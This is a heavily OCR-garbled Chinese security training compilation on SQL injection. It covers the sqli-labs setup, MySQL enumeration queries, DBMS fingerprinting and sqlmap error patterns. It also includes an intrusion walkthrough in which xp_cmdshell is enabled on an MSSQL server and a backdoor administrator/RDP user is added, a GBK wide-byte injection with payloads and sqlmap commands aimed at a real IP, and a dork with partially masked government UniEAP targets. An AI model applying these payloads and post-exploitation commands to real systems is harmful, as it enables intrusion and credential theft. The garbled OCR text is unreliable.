|Setur3a"-'eset Database for aosl

Page-2 (Advanced Injections)

Page-3 (Stacked Injections)

)

Page-4 (Challenges)

SETUP DB +

& O 127001 v & <Ctrl2K- we ¥ 1

iy

#
Iy

Welcome
SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES:

[*1 ...0ld database 'SECURITY" purged if exists
i [T Creating New database "SECURITY" successfully
i [ Creating New Table "USERS' successfully

i [ Creating New Table "EMAILS' successfully

i [ Creating New Table '"UAGENTS' successfully

i [ Creating New Table 'REFERERS' successfully
Inserted data correctly into table 'USERS'
...Inserted data correctly into table 'EMAILS'

Old database purged if exists

7l http://127.0.0.1/sqlilabs/, {8 T 77 VAT WLAR H ikt

983 TU/Ht 128 HREIM: fA 28 H T Gl
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SQL Injections + E=E[F28
&) | o[ T T o kB b m e B =
BAEBE
o
less-1 & Fless2
GET - Error based - Single quotes - String A A GET -Error based - Intiger based
less -3 # A Less -4
GET - Error based - Single quotes with twist - string A £ GET - Error based - Double Quates - String
#less-6
Less -5 & -
A GET - Double Injection - Double Quotes - String
GET - Double Injection - Single Quotes - String /)
Fless-g
Less -7 ,f
GET - Dump Into autfile - String A A GET - Blind - Boolian Based - Single Quotes
R -5 {
less-g & #less-10
GET - Blind - Time based. - Single Quotes & A GET - Blind - Time based - double quotes
= S0L Injections
A Lless-12
less -11 &
POST - Error Based - Single quotes- String f} r:\ POST - Error Based - Double quotes- String - wi
Less-13;' ,’Less-ls‘l
Double Injection - Singl tes- String - with twist [ E
ouble Injection - SIngle quotes- String - with twist £) A POST - Double Injection - Single quotes- Strir
Less-ls,’ ,f Less -16
POST - Blind- Boolianftime Based - Single quotes 4'_\ ,} POST - Blind- Boolian/Time Based - Double quo
- #iocc1a

1.12.3 FdE EE R R AR

select * from table_name limit m,n; &7~ A\ m+1 FFUGHEL n 25 &0 5%

plPssword
secure crappy
stupid stupidity
superman genious

mobt le
admin admin
adminl adminl
admin2 admin2
admin3 admin3
dhakkan dumbo

13 rows in set (B.08 zec)
d from security.users 1i

pPssword
secure crappy
stupid stupidity
superman genious

rows in set (B.B@ sec)

mysql>

desc KX (BB RIILEN)
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emails
referers
uagents

rows in set (0.00 sec)

nysq1>| desc users |
+

———— - +_—_
Field

username | varchar{20)

password | varchar(20)
__________ [

rows in set (0.00 sec)

information_schema |
challenges H
mysgl i
security H
'
H

rows in set (B.B0 secd>

mysgl?] use information_schemas

Database changed

%85 /128 WRRHMI: fH 28 H HB7aE: Hk
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mysql # ¥ FEinformation_schema™ ] %

+
]

CHARACTER_SETS

COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS

COLUMN_PRIUVILEGES

ENGIMNES

EUENTS

GLOBAL_STATUS
GLOBAL_UARIABLES
KEY_COLUMN_USAGE
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONMSTRAINTS
ROUTINES

SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_UARIABLES
STATISTICS
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES

28 rows in set (B.B8 szec)

mysgl>

mysgl> desc table

varchar(512>
varchar(64)>
varchar(64>
varchar(c4>
varchar(64>
bigint{21> unsigned
varchar(i18>
TABLE_ROWS higint<{21>» uwnsigned
AUG_ROW_LENGTH bhigint (21> unsigned
DATA_LENGTH bigint{21> unsigned
MAX_DATA_LENGTH bigint<{21> unsigned
INDEE_LEMGTH bigint{(21>» uwnsigned
DATA_FREE bigint{21> unsigned
AUTO_INCREMENT bigint{21> unsigned
CREATE_TIME datet ime
UFDATE_TIME datetime
CHECK_TIHME datetime
TABLE_COLLATION varchar(32>
CHECKSUM bigint{(21>» uwnsigned
CREATE_OFPTIONS varchar(2h53>
TABLE_COMMENT varchar(B@>
———————————— ————
21 rows in set (B.BA sec)

4 mm mm mm mm mm mm mm mm mm == mm == = mm == == = mm == == == ok ==
4 mm mm mm mm mm mm mm mm mm == mm == = mm == == = mm == == == ok ==
== mm mm mm mm e mm mm o mm mm o mm em e mm mm e e em a4 = 4

mysgl>

select table_name from information_schema.tables where table_schema="security";
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select table_name from information_schema.tables where table_schema="zecurity';

T ] security (] & &

referers
wagents

4 rows in set (B.88 szec)

mysq1>[use security; ]
Database changed
mysgl> show tahles;

referers
uagents
users

4 rows in set (.88 =zec)

mysgl>

1.12.35QL AN — IR TR

i B 2 4

information_schema
challenges
mysgl

security E‘I"ﬁ] ﬁﬁﬁ%’l%ﬁﬁé E

. _—
5 rows in set (@.88 sec)/

mysgl>|sh databases;

information_schema
challenges

mysgl

security

W87 BU/E 128 WREEM: RH 28 H mTRE: 6k
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35 B4R FE 4 A securityf1 3K 4

referers
uagents

rows in set (B.88 zec)

column_name from information_schema.columns where table_name=""usersz';

i 3K 42 Ausersi] B A 1l 4

usernane
password

T R FE 44 Nsecurity, 44 Nusers
F % 42 HusernameF password 1 Fr G (&

I-kill-you
pRssword
crappy
stupidity
genious
moht le
admin
EGLELRE
admin2
admin3
dumbo
admin<

Angelina
Dummy
SECUre
stupid
superman
hatman
EGLE
adminl
admin2
admin3
dhakkan
admin4d

—

1] T-------------+-
|
|
|
|
|
|
|
|
|
|
|
+

13 rows in set (B.H0 sec’

mysgl>

1.12.4Mysql FR#(

user() — — 2 5 JE H J %
database()——H#EE %

version() — — MysQL TR

@@datadir — — 44 ¥ J% % %

@@version_compile_os——#:1E RGthR A

concat(strl,str2,str3),iR [A] strl+str2+str3; 244 — N FRFEE N NULL B, BIGR [B] NULL
1 select concat(id,/,name) as con from info limit 1;
concat_ws(separator,strl,str2,str3),i2 [7] strl+separator+str2+separator+str3

5140 select concat_ws(’/,id,name) as con from info limit 1;
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group_concat (strl,str2,str3) iR [A] strl+str2+str3;

1 row in set <B.BB sec)

mysql>

ascii(a)4 a Fe 4l Ascil {H

ord(a)#F a el ASCIIE
left(a,b) N e A A BT A7 a BRI b AN T4F
substr(a,b,c) M\ b f7 B FFUE, #HEFHRFE a i ¢ KE
mid(a,b,c) AL E b H4h, #H a FAFEREM ¢ {7

%gﬁélEﬁ%y mUﬁiﬁﬂ 1; %§NU7 ﬂghﬂ 0

" La—z1";

select user(> like "rox";

row in set (B.B@ sec)

1.13SQLFEAN SRS 1 (BEEERMD

----Vr_system

R SQL FEANRBMENRBIEIEEESAFEEE | FRNSIRESTRAMFE | FTLURESER:
FARFHHERBIESIER. EEIRETHTFRRNHEARNEIEESAR , LB FHHES
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AR AKEEIERE, ENTIFFRAREATIAR | TSRS FRIRET AT EIER R L.
HEFTFERBENRSR | RAETRFRNAERAMEIERRE. REEEBAILURBIFESL.

1.13.1 R EPE

Oracle: ‘ora’ ||' cle’
MS-SQL: ‘MS-" +' sSQl
MySql: ‘mys’ ' gl

1.13.2 REGTHE

Oracle : BITAND(1,1)

MS-SQL : @@pack _received, @@rowcount

MySql : connection_id(). last_insert_id(). row_count()
PostgreSQL : select EXTRACT(DOW FROM NOW())

1.13.3 HERXS

MySQL : information_schema
SQL Server : sysobjects
Access : msysobjects

Oracle : sys

1.13.4 AEER

S.no  Error Type of Database
You have an error in your SQL syntax; check the manual th

1 at corresponds to your MySQL server version for the right s MySQL
yntax to use near "1" LIMIT 0,1’ at line 1

2 ORA-00833: SQL command not properly ended Oracle

3 Microsoft SQL Native Client error ‘80040e14' Unclosed quo MSSQL

tation mark after the character string

1.13.5 7E SQLMAP =2 i {a] iR 848 2 2

AR SQLMAP FRAN 1.1.8-16 ., fE./xml/errors.xml Hh, 52 FRERRIT5 %,
L SQLMAP SLIEIREIRBIAN 5%,
MYSQL iR :

A
ol

BREZHM—

[
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- <root>
J— MySQL —>
- <dbms value="MySQL">

<error regexp="5SQL syntax.*MySQL"/>
<error regexp="Warning.*mysql_*"/>
<error regexp="MySqlException \(0x"/>
<error regexp="valid MySQL result"/>
<error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
<error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc\.exceptions"/>

</dbms>

MS-SQL EE T

!— Microsoft SQL Server —
- <dbms value="Microsoft SQL Server”>
<error regexp="Driver.® SQL[\-\\ [*Server"/>
<error regexp="0LE DB.* SQL Server"/>
<error regexp="\bSOL Server[*<"]+Driver"/>
<error regexp="Warning.*{mssql|sqlsrv}_"/>
<error regexp="\bSOL Server[* <"]+[0-9a-fA-F]{8}"/>
<error regexp=""5ystem\.Data\.SqlClient\.SqlException”/>
<error regexp="{?s)Exception.\WRoadhouse\.Cms\."/>
<error regexp="Microscft SQL Native Client error '[0-9a-fA-FI{8}"/>
<error regexp="com\.microsoft\.sglserver\jdbc\.SQLServerbxception™/>
<error regexp="0DBC SOL Server Driver"/>
<error regexp="50LServer IDBC Driver"/>
<error regexp="macromedia‘.jdbc\.sglserver”/>
<error regexp="com\jnetdirect\.jsqgl"/=
</dbms>

Oracle iRSE :

Oracle
- <dbms value="Cracle">

<error regexp="\bORA-\d{5}"/>

<error regexp="0Oracle error’/>

<error regexp="0Oracle.*Driver”/>

<error regexp="Warning.*\Woci_.*"/>

<error regexp="Warning.*\Waora_*"/>

<error regexp="oracle\.,jdbc\.driver"/=>

<error regexp="quoted string not properly terminated”/>

</dbms>

1.13.6 SZFEE

TRRSIREST A e E A IR BIEEERE. SQLMAP hiFELRSENEIRREEIRBIGIE | FiE
SQLMAP RIS EIRRFIRBI T EBRAE K.

114 N\—NEFH EAEREEIMN G
RERG R TERIR

\4mly

LB

VEZ Jerk
1CIS M _ BB ARG, ASH TS EAH, AR O S oG, FRINTE A Mk %245 b
(NI SN WP LI NGO T 7/ Tﬁ@&ﬁ R OH, WERARIEHR A ¥R, nTReiEsesl. ik
FEga4, PAERNTIE, AN IE, XEREHERE R, SOEHERIERANEIR. LT

s
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3 [ 1R > (SQL Server 10.50.1600 -
= [ #EEE
i [ EHLUEE [ ]
| EEE R L FROM [ .. [dpol . [HP4ER B S
521

ok 5-WEB3.12

+|
0
+|
0
5
+ P ]

) 17

e aaver

7 MimverTempDB
===

L BRESTS

3 =8 « m

=
5 :

 SQL Server 2 2 4R [0 e

¢ rver (£
‘ ;3 (SQL Server 10.0.2531 - mak oame | {28\ GLID
- (3 #EE
H L ESGLEE
5 [ FHEEHEE

= e I B =

H -
T
+| ST
+ w"=2rTempDB
C pr‘msdeCloud
7 [1 ==iE
# [0 BRESEUS
% 3 85
5[ BE

B SQL Server (KIE(EZERIE XP)

MU IR Y, XS PRI~ 7 IR SS 45 BIT A6 BRI U — M EE AR 21 E
P, BT NZAT IR -
k ]

il
49

ML

RS | REEE S i

XHasEitE I -3

SRR B 2, X EARRCA AT E, —AER D HEE bR T, E3RT)EEE. RS
FAEHEATHERL, B =B RIBLIR 2 — N L ILHIBLER iis apppool\sof**.*** com. LAl R
Guaw 0] AT, RETFEE AR R T IR R BURE e, FRIGHERL, AT Z Gtk 1, B8,

L% A B KBS R FE A, tasklist B 1, 360 FTFEM, A AR FRRIEET.

LIl e

L]

fdl auncher. exe

er Interfac

er Interfac

T, BXE
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RIEHITIEE R C\EH 2R, BEEA KA ftp 80 MSsaL 5i# Mysqgl FTH, ftp H ¥
& Serv-U15.0.1 N Z A IIRAU THEL e . R INAEE sQL Server B, AHLN %45 Bl
FE TR o SR 5 FFURTE — L W3k (AR H S R 3R G B SCPF, 2 T 4F KW & T4 38— M K 7 205 11,
HRANEREAR L. SRIGH AR S — Sk S50 55 i 2 AR AR ip MIBLES I 1433 5510, R
U6 H HeidisQL % fifi H ARER B EEARMIN, HAREA W, XAN T HFa i A
(), REERRHEREET T, B CEMBESGR T R g T

File Edit Search Taols Help

M-S DREB|2- ARG QIO X|: b-E-HEm by 24
|
|

= @ Unnamed-1 P o
PRy = Host: 115.:
| Database =0

[

Name .« F
J:;gf.s- o T aleq

1]

& == )
ane L s il
-
—e E -
- B t -,
= Bl
et 'J 5
— [ t -
B t wadan
P ——
| £ - -
b= Vo[ OF j t. — —
tempdb m —
lJ (s
J [
J t. il
1 b rankank

HEFERF AN LR, NREEL TSR Mysql F1 MSSQL SR SO Fili . WER B 3
YEFF I ZE SQL Server Management FEREI) . PLR & &Rl 45

FHEEEEE * 1 X SQLQueryLsql - 11..r (i (3337)*
=2 T |
| [_Ej 11 (SOL Server 10.50.1600 - newjcex) I
3 &=
[ =2
[ BEsms
O ==
o B8
EE) SQL Server £

O % DT8R 25 S SO T . A BUIR S xp_cmdshell A JF 4, L
I

EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE

EXEC sp_configure ‘xp_cmdshell’, 1
RECONFIGURE

BINIFE xp_cmdshell

ZRTEZH nmap Hid T HARZ T 3389 /Y, SRJE EESINH FaliAT 1
Net user Summer i /& & 2% 5 BR H %Y /add
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Net localgroup Administrators Summer /add
Net localgroup “Remote Desktop Users” /add
PAT B S5 —AT A IR TR IRES T, BEL

v 4K SQLQueryl.sql - 11..r (newjcex (3337))"
EXEC xp_cmdshell "net localgroup 'Remote Desktop Users' Summer /add"

XERSISREESISBENCIS

-2 (SQL Server 10.50.1600 - newjcex)

B

erver {38

4| I

{EERTF T IEE
NULL

XA JEHAT T net user Administrator B A AR I A FK, ATREAZEIAL], W]
REBR AR FNES DL BRI FEASAH [F], AT P8 R B N Fimi 1] 0 PR i 55 45 1D Ik 50 BR O R R RELAT TBR
IWIA—FE, FTUEREET. XGPS, BH 5242 Administrators ZEF2 5 [HIZH /2
Remote Desktop Users, XN {4 EE AT BE SQLiBEFJRIR @ 1, A74iE T &KL Rt
P, ROZEtE S SR8, sl SR, Il 7.

AT A E S B S H AR, DR H AR windows Server AN k2 BT J5 T
o, RARHEE E PRI T, — BRI, BT BN ZSMEIRZ . AT T systeminfo
& N HAR AR GRS
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EEEES v 1 X || “sqLQuerylsql - 11..r (X (3337))*
Ev ﬁj EXEC xp cmdshell "sgsterr.infc_"
[ 115 (SQL Server 10.50.1600 - ) ?;%E%E;;xéﬁgﬁéﬁmh .

[ e =

0O ==t

[ RESTS

O =5

[ ==

[ SQL Server £18

/
/

/

output
1 NULL
2 Fa=: WIN-18D21RCKSEQ

3 05EW Microsoft Windows Server 2012 R2 Datacenter

XA T LUKl H AR 7RSS A 1, R OUE G SRR KBS Bk T, W RERIE R
ZRE, A RENRIE T E.

5 1 I 32 - TESEEE

STER - AMARSSES

— Rk

. FT WIN-18D21RCKIEQ

HEE WIN-18D21RCKIEQ

Ife8 WORKGROUP

BaskiE

Eam
EEE
EER B
- 32 =2 1D
s
FiEE

ASKABSRECT HARE HE ) Hash B B2 T 90kE, X5 T 2012 %548 GetHashes, wce
SHENT RGBT, ARG SEERRSSRER, A EE SR DU T
vssown. vbs + libesedb + NtdsXtract RIREN RSt hash XF-F 03-12 d5%, #ER
FEARMIG T, FHEZ2H AR BN, MRS B 5N EIiX S RS a A L2
ETT, BHb—6HmisEd s~k T H 688 Rk MSSQL Hids FE AL & 1

95 Ti/3k 128 WRHW: &H 28 H HTIE: %k
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xp_cmdshell, {HRANFEHATIEM 74, &7~ Createprocess KIW, BiZIE/ZE 360
BT K3 FEN, @IS hash BfE H R — N0 5 Mz a] OB+ T 7513k
B, XA NBERIAIE.

ek R A DT DA AR 44 B RIE N T RVE S, MSSQL I ARG 2%
BT, &S0 P 25 h AN B[R], 3% 4 B B 1 5000 2 e 25 2 B S g B -k
W AZITE, WS B R85 1A RAZ IR

HEHFEWAN DN T A

— RS L H Snipaste bt qq M EIFHIBZIR L

https://zh. snipaste. com/download. html

B FE AR/ T H HeidiSQL, /N7 {E, AFEAEAETT, EEVLHIEIT!
BEHE: https://pan. baidu. com/s/1s1a4RDF %543 : enls

1.15 XS 3 FTEABIAR

antian365 by eth10

TP THEAZAER, HERRAIN, JFIREa R EE Mg, 45 KN
UFE B AR T 50T IEAR off 8 PRIEAR IR 22 51 R 587 N, AR SN I 7
WSR2 210 T, Wl ASCEZRF RN T T IEN, MU Ee 3 T T A
TR TENR— R, EEA SR EEE RPN = A

1. F7J& 73X sQL vENBEATHRI K — > g !

2. 2] T WAl TR T IR IIEN L

3. WfrfE ] sqimap B BiALX 58 7T EEATIEA

1.15.1 FFEIEAN

X B A5 HENEF A mysgl BI— MR, mysql ZE48E ] GBK 4wty (GBK it /2 & i 1Y
WFHL—, SERR AW BRE, SOOI FER R B BT ascii f5%
KT 128, A FIPFAHEED , M4 IATMAA 5] F I 22 BEMANEATH SO AN\ (FE
PHP Pt & X+ magic_quotes_gpc=On HI1E L F & 1 addslashes BA#L, icov BR%Y,
mysql_real_escape_string BR%{. mysql_escape_string BRI (55, $E X IS i A sl 57,
e A\, R ZEEAGE RO BT R B A 1] 2 B NZ ASC
TR IIE, K a1 5T KT 128 B ascii f#EAT & Oy — A 76 8
IR Cmysal FIWr—DFFFRAZDFE, BRI FRN — DT, F15MEYE gbk Fibd,
AT ascii ART 128, EEA BFIATLA D, MEPRTH\SR#Z 7, AR DA Y
T FIFHRAMRRE T AT S0 saL vEANRIAH .

B AR B8 I E R %df,  HLSERATT I B — AN ascii A5K T 128 BEATEL T,
ELAn ascii #5904 129 HILATEL, (HRANTE AR H oy URL Fifdle, HSRME R, AL
¥ 129 (D Bt s, v ox81l, W 1 fiw, ARIETET N RIRTIH In% I AT,
BV A981 , A ik | 75 2 i 4 00 3l 1 i b Ak 1 53 A0 R DA B0 GBK 1 7 19 4 ¥ 0 X 81-0xFE,
RSN 0X40-0xFE (FR OX7F) , NIRRT 2 ina fl, W SURF5\X N ) s 0 X 5C!

96 Ti/3k 128 WRHW: &H 28 H HTIE: %k


https://zh.snipaste.com/download.html
http://jinzhi.supfree.net/

(%K 365 WAaMIL) 2 6 M4 LS antian365-20170928

AAME R —F, GB2312 & GBK MEM, CHIEALIEHEZ 0xA1-0xF7, fKA7EHI&Z
OXA1-OXFE(OXS5C NEIZVEHE ), [KIIHASGE S H gtz $5%5c.

HEH SRS

129 HE 10 |v)| Add || Clear |

23t 83t 103 163l 243 60 ILJ

10000001 201 129 a5 29

Bl Rtk 129 o toN ki

1.15.2 SEIG IR

RGBT -

URL Hiihik: http://103.238.227.13:10083/

FfRAE E: PHP 7.0.7. mysql 5.5.48-log!

WebServer: nginx !

Content-Type: text/html; charset=gbk !

PAEZHE BT F12 BT RIS AE BctE G IEAEI IR H AT S riB % sk
S BUSCER AT R, Forb s —ME B2 F12 F RIS @i F12 AR R
i 2 fosfE B, IR TR @ A0 KIS server-spy BEATIX L5645 B HIZREL.

& Lload URL |http:;//103.238.227.13:10083/%id=1
% spliturL

b Execute

[] Enable Post data [ ] Enable Referrer
SQLEANM

EHiflkeyF=. d=189string=E=

id 1

| # B € > )= mms HTML css B% DOM | @ v | Cockies
W Bk s | 28 [HTML| CSS JavaScript XHR BR B B FE

| URL | s & *ih | EETP | EEe
= GET ?id=1 200 OK 103.238.227,.13: 10083 4566 103.2358.227.13:10083
£% SEs WE HIML S /
= WEskES
Connection kesec—alive

Content-Encoding =zip

Content-Type text/htnl:[ charset—gbk |

Date Sun, 03 S=p 2017 01:40:21 eMT
Server nsiax

Transfer-Encoding chunked /
Vars Encoding
¥
| X-Powered-By FEP/7.0.7 [

K2 F12 15 BliE

97 T/ 128 WRHW: &H 28 H HTIE: %k
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1.15.3SQL 7 i B B%

L REE 2B T —A sQL i ANTRMI ) — A7 BRI, AN 2 Ui At 8 51 and B3 or BAK’
HEATIRI, B B salmap H-b ZECRIFATIRIN (LRI IZAERD , PRt AT s
o T IAMZ . X sQL ENSEAT R 32 BT A HE DL Bk T

F—A WRMAH and. or. , FIBREAEN, MTESEIA—LLEH DGR fE
BRI (U order by B A RA AT !

B0, WRBE-BRABEIER, ATHATEFIEANRN, FA%bf (BE%81)
RIVHRES, FETE TN

F=A, R ERWBER AR, FTUEEEEAR T http SkIEALRN (sglmap 1
fEH—level ZHITRED , F5%.

1.15.4 FE NSRBI

saL {FEAMRAEA FE AR HER AR 22, RIS HEE R 0 5 BTN . TR
VEN, AR VENKIAE 7] 4r 4 POST JE N GET 7. cookie YEAZE, T sqlmap NIKLTEN 2>
NETA/RWEE BETREAEE., BTHRENTEAN BEEIEA HEREA, X8
T RN saL o N TEFITEAMIERE ETEN (DA, BHEKED .

BT AENAE L FRB E N R e, R RAMRAD, XIRNIGEE B — A58 75
FEAW cff, WIIEF ARSI S F AR — AN WE 3, B HERIATe A
R —E TR BN
& Load URL |http://103.238.227.13:10083/%id=1
B split URL

3 Execute

[] Enable Post data [| Enable Referrer

SQLEEAimHifc/

EnflkeyZ, id=183string=E

id 1
key fdsafdasfdsa
K3 JEA SR
BEAR R A RN, A FRATT AT S F R and SKZEAT A1 S B HU T, il m 5 2

sQL FEA R B, BATICEAWRE BAAEEN, B T HBATABIEE, Wi 4
Pz o

98 Ti/3k 128 HRHW: &H 28 H HTIE: %k
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@ Load URL |[http://103.238.227.13:10083/%id=1'
B split URL

3 Execute

[] Enable Post data [ Enable Referrer

SQLFN M,

Hialkeyz.id=189string=Ez

id 1

key fdsafdasidsa

K4 TEiRHI A B RTEA
GG & and Rt —D Wy, ERAKIHBCA RS B AT FERATIEAT FIWHZ I £ 5
FREEANRL W 5 Fs.

@l Load URL | http:y//103.238.227.12:10083/%id=1" and '1'='2" -- -

I split URL
3 Execute

[] Enable Post data [| Enable Referrer

SQLFN M

EHigkeyZ.id=189sting=E

key fdsafdasfdsa

K5 and tHICIEHAIWTZ S REA K
HMEERAFEN CXHEAZXFERD 5 AV S sqlmap B, HEMRE
9, EREAERSRRITABAAEEA R, WK 6 .

K6 sqlmap 2R AMERZTEN
WL IR IR LRI S, FRATRESL DA GT T, 7S8R FE AT BE At VN B AN & v
AT CE SRS, s FRAT S BB A8 — B R AT I, %R S R AR T2 TEN,
FAEA ascii 151 129 (WAIE%81, BT LMERH AT %A TR, Wk 7 Frs, K

99 T/ 128 HRHW: &H 28 H HTIE: %k
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LTI RS 1, MR DU A5 A A WZ I AP AE SQUIEN, IR HRTEFHEN.

@& Load URL http:,’ﬂ03‘235‘227.13:10083/?id:1
¥ splitURL ‘

» Execute

1
[ Enable Post data [ Enable Referrer

SQLFENMSL,

EifkeyFE id=189string="E& /

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "138" L\M\TEF{ line 1

K7 AIBHENETE T IEA

1.15.6 BFHF LR EIEA

R EERATIR, ZIEA R IEAN, R RANEN, R AT A
i SQUIF AR BEAT SQUIK 98 T EEN , 53 M BATH AT T BATTH A IR & 4 Lo TV
Ik 8 s, AT B SERE LT

@ Load URL [http://103.238.227.13:10083/2id=1%81" and 1'="1- -
% splitusL

') Execute

[ Enable Post data [ Enable Referrer

SQLENS,

EigkeyFE id=189string=FER

'/f/p/
You have an error in your SQL syniax; check the manual that corresponds to your MySQL server version for the right syniax to use near VV=\'"1V— -' LIMIT 1' at line 1
K8 Bk LT

VRIS B T AT #4315 71)%81” and 1=1-- -RIFEATIEN, JRERLZ B SUBOAV, Mi%81 1) ascii
KT 128, BRI %81 MH A 1E— 75 (AT, BRI sl SR 1, 1 i T B AT T4
E-ANERRNENESR], Sa EINERHC RS RIAERE AL WK 9 Fs.
& Load URL | hitp://103.238.227.13:10083/%id=1%81" and 1=1-- -
B split URL

b Execute

[] Enable Post data [ ] Enable Referrer

SQLFN M,

EifalkeyE, id=189string=E

key fdsafdasfdsa

K9 FE 7 A
VLI BAME T order by SR AT EUE A LA, RBUEHR A =51, Wk 10 P

#5100 pi/4k 128 HREM. H 28 0 T ARE: KR
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& Load URL |httpy//102.238.227.13:10083/7id=1%81" order by 2-- -
i Split URL
¥ Execute

[] Enable Post data [ Enable Referrer

SQLFEN ML,

BiflkeyE id=18sting =&

id 1

key fdsafdasfdsa

Logd URL | http://103.238.227.13:10083/7id=1%81" order by 3-- -
split URL
Execute

[] Enable Post data [ ] Enable Referrer

SQLFEN M

BEiakeyF id=1#Istring=E:

Unknown column ‘3" in ‘order clause'

K10 YETHAR A 3 51
PAVE B TRATE E A 5 & 78 T i sy 2o, Wi 11 Bk

Load URL | http://103.238.227.13:10083/?id=1%81" and 1=2 union select 1,2-- -
split URL

(= g@ﬂ

Execute

[] Enable Post data [ | Enable Referrer

SQLIENM

EHifkeyZE, id=189string=FE

key

K11 AT BRI B
B, PIIEARGEH T, FEESHRFEEERNE (mysal TTIEN) a7 !

1.15.7 %% sqlmap #EA

FERT I HATE AL sqimap B, B RKIZMAZ SQUIEA RH, ARG LK
Rtk AT LA id Ja T I — %81, SRJSAEME T sqlmap JEATIEN, HEAERIN:

#5101 mi/dk 128 mREM. H 28 0 HTIARE: KR


http://eth10.blog.51cto.com/13143704/1956243
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sqlmap.py -u "http://103.238.227.13:10083/?id=1%81"" -b
X, FATKIN sqlmap AT KIZIFEAN S T, il 12 for.

K12 sqlmap IS I H 1203 N S
B 1 b Bax BT RS, AR DS A 55 A BIASRAE A sqlmap 477N, T EA
E=REIVSE
sglmap.py -u "http://103.238.227.13:10083/?id=1" -b --tamper=unmagicquotes.py
XA R BRI H i S, Wil 13 B, 0T R e E AN LA A T 3R % !

WSOl TINTOR

nd - WHERE or HAVING clause (MySQL comment)

K13 sqlmap FRIASI HE y3 N

1.15.8 BB EN

BRIV EE N 2 fa, i SET character set_client=binary >R 1% & %% ) i [
%ﬁ%mgﬁﬁm"] FAN T RS AR R B AR B E AT B E L BEAdt T IH 1
I%T/TET' [/J\J:%LX,TX{/\/%'

1.16 —RFXTF R UniEAP RZ KB ENR
U

antian365 ¥ 22K
IXANB MR B 56 2 WA AT B IE DR SLH], /e E N e HiE
B|—LRERIYT, HTIZRG S R —MESE, B —emRemtE, s T

%102 /4128 HERHM: MH 28 H HETaE: Atk
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X SCR T 40 5
HERN R T RBATIZENAN, BB — DUl 2R T2 7 M
RSS2 7 09 3t THTRE S BE 4 ) 85 R PE U, it SQL v E NS4
ST, B T R B0 3k ) 6 i DUTHT DAL, A B 8OH « #5655, A brup
il F AR B 1, 45 SRR DURIRE 28, I8 T 4R, JEmARE], RE NS =8
BEEABRAR N RANZIRE. EF 7 LUF4R:

wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-069688
B EzA [ ES222% () Scanners- B F KaliFsigsh 9 mEEa BEEEe- € fmap [F SIS [&] SS0tEE @ HRMST () BEAEUA M Acnctix - 8 SETEES (FE=2

R
2014-07-25 : WTCEH S ESE matEE
2014-07-29 : | ACERA , HTNA ELAFT
2014-08-01: WTRE=ARESIEKHTK
2014-09-22 : EDEHUEBTREXFRERLT
2014-10-02 : WTFSESEFAF
2014-10-12 : FEHREZISETLF
2014-10-23 : HHTFARRTT

T
FHBATHRET | RNERERE | LG RER |
IRERASNAREME | FRCERC TR BRI,

e ¢
LURsRUniEAP LSS HERRFF AN T4
inurl:siweby/login.do it AE—EENRENT  SFCERAR , EETEN |
EbRUER AR SRS
http://218.9.% =, *=*:8082/siweb/
ErE R tERER LR R SREARS
http://60.219. %= ==*:7001/siweb
EbtlxglnERRe i FaiRSEaEs
http://218.9.% = *=*:8081/siweb
ErEr e RRe IR FaiREs
ERANEFT&RESH FRiRER
http://111.75.% % *=*:8001/siweb
EXi2REREER FSRRE
http://*=*.*=* gov.cn:8001/siweb/
==
NSRS MRERASTS . fif” MBS TR !
FE—LERREIRE, T
A — FOERNEERE R,
(A8 : #i , SRR REAST LS B R MES . SERFITATRE L AR
[AZE= : SQUEA
(A ; SRR AT

1 5RER
BRG R, OEIEE A X, BED -RXANESE, WL
—NEAY. Jam RN KK . T, BRSO A SRS G 2R
. HA AT
FEXEAGAME T, MR A EAZE adnin/T, JFAROE K.

%103 /4128 R HM: MH 28 H HTaE: Ak
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iversal Portal’

iR RREE-T e
Pl N 6 EE
i — RE Fl4ID [ZEE Y TR
O posmg

O Famme
O FaEREE T
e i

O FEAEE % ETAGRERE: L RrERRE. ASTAETRRTARGRERE: A6 0 SERMER o BrERRREAFIETRE: o ETHRRALORE: &8 1 5t

g ARG O R AR, SRR

17 3dmin g.!

CHRER [ ][O meTE
o

HOYH
mEEE
BEEE
[Bisiicis
HELEE
FRER

1-2 IR a IR
A, GRS AR TS ? BARRATIRER), AR ESR R TS
SR SS SRR, HA I B B H ) 1o B RIS, il 3 A R
G KNMi—E4 LY,
7 B R R, PR AL S WAR B S i, A WAR BHE A BLLL T
JUAN 18] R
1. XASRGU WAR IR A RS, 2 AR A e SO s B AR IS, 24
£
2. XD RGENS WAR K/NBEATRLS:, iR WAR S K@ AN 1 #Y
3v XA RGUELERBN, TN 52 e MBAEHRAE N4 3 & XU, Areh E5 e
J5 Ty (R B R TUTHT 23 M AR 5 A

8 52.7ip - 3504 3220 X @ IR Ww T

TKe XLz

& 1-3 X 2R EEA Wb & 13 B A H A WAR €&

Pt _E A% P WAR 25055 DL BB R 2, SRACEE T VAl /g BRI A

#5104 pi/dk 128 mREM: H 28 0 HTARE: K&

1k8 1K8 PROPERTIES T#  2017:05-24 17:07
2258 1K8 PROPERTIES T4 2017-05-24 17:07
2sx8 1K BRMAIEEE 20170524 17:07
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P ) 26 43 1 8T REAT B

HRAE T KRG, R R ER, KRGS, M 3R 2 WAR KK,
KRR XA RGN A ATRE AT, &0 ORI WAR 34T elah e EARml &%, &
SRANRE B4R, 5 A3 AT R BEHIXAS image 33X NS4 B T 11 B R ST IR e it
AL EAE T .

O cusersasusvappbats X | —
& b4 =7 o |
4
4
|
framework/ <local> /index.jsp* type="custom" generatoHTML="true" =g |
- ks it . jmjkjei P ="page’/> |
e="custom” |
‘
1-4 X FETIH9 XML
8 522ip - 360 320 R
=

06K8  23K8 2017-05-24 17:07
T0LSKE 7S KB XMLTIE 2017-05-24 17:07
25%8 1KB XML 2017-05-24 17:07

1-5 1R AR 1 Fr 2 A A Y XML

= WAR 21 module HHAF £ AR BUREAR XML 5%, K5y A% 25 BU5 U
